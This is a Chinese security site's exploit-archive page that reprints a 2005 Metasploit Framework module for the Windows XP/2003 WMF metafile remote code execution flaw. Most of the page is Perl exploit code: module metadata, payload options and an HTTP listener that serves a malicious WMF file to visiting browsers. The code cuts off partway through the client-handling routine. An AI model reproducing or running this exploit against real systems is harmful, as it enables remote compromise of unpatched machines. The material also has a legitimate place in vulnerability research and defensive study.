首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Windows / Internet Explorer WMF Remote Code Execution Exploit
来源:hdm@metasploit.com 作者:H D Moore 发布时间:2005-12-29  

Microsoft Windows / Internet Explorer WMF Remote Code Execution Exploit (0day)


##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::ie_xp_pfv_metafile;

use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket::INET;

my $advanced =
{
};

my $info =
{
'Name' => 'Windows XP/2003 Picture and Fax Viewer Metafile Overflow',
'Version' => '$Revision: 1.2 $',
'Authors' =>
[
'H D Moore <hdm [at] metasploit.com'
],

'Description' =>
Pex::Text::Freeform(qq{
This module exploits a vulnerability in the Windows Picture and
Fax Viewer found in Windows XP and 2003. This vulnerability uses
a corrupt Windows Metafile to execute arbitrary code and was reported by
noemailpls[at]noemail.ziper to the Bugtraq mailing list after
being discovered in the wild at the following URL:
http://unionseek[DOT]com/d/t1/wmf_exp.htm
}),

'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'winxp', 'win2003' ],
'Priv' => 0,

'UserOpts' =>
{
'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080 ],
'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
},

'Payload' =>
{
'Space' => 5081,
'Keys' => [ '-ws2ord', '-bind' ],
},

'Refs' =>
[

],

'DefaultTarget' => 0,
'Targets' =>
[
[ 'Automatic - Windows XP / Windows 2003' ]
],

'Keys' => [ 'ie' ],

'DisclosureDate' => 'Dec 27 2005',
};

sub new
{
my $class = shift;
my $self;

$self = $class->SUPER::new(
{
'Info' => $info,
'Advanced' => $advanced,
},
@_);

return $self;
}

sub Exploit
{
my $self = shift;
my $server = IO::Socket::INET->new(
LocalHost => $self->GetVar('HTTPHOST'),
LocalPort => $self->GetVar('HTTPPORT'),
ReuseAddr => 1,
Listen => 1,
Proto => 'tcp');
my $client;

# Did the listener create fail?
if (not defined($server))
{
$self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT'));
return;
}

$self->PrintLine("[*] Waiting for connections to http://" . $self->GetVar('HTTPHOST') . ":" . $self->GetVar('HTTPPORT') . "/anything.wmf");

while (defined($client = $server->accept()))
{
$self->HandleHttpClient(fd => Msf::Socket::Tcp->new_from_socket($client));
}

return;
}

sub HandleHttpClient
{
my $self = shift;
my ($fd) = @{{@_}}{qw/fd

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Advanced Guestbook version 2.2
·Dev web management system <
·Electric Sheep Window-Id Local
·mIRC exploit for versions 6.16
·PlanetFileServer DoS
·PHPGedView <= 3.3.7 Arbitra
·Microsoft IIS Malformed URI Do
·MailEnable ENTERPRISE IMAP EXA
·Microsoft IIS Malformed URI Do
·Remote Mailenable Enterprise 1
·phpBB <= 2.0.17 signature_b
·PhpDocumentor <= 1.3.0 rc4
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved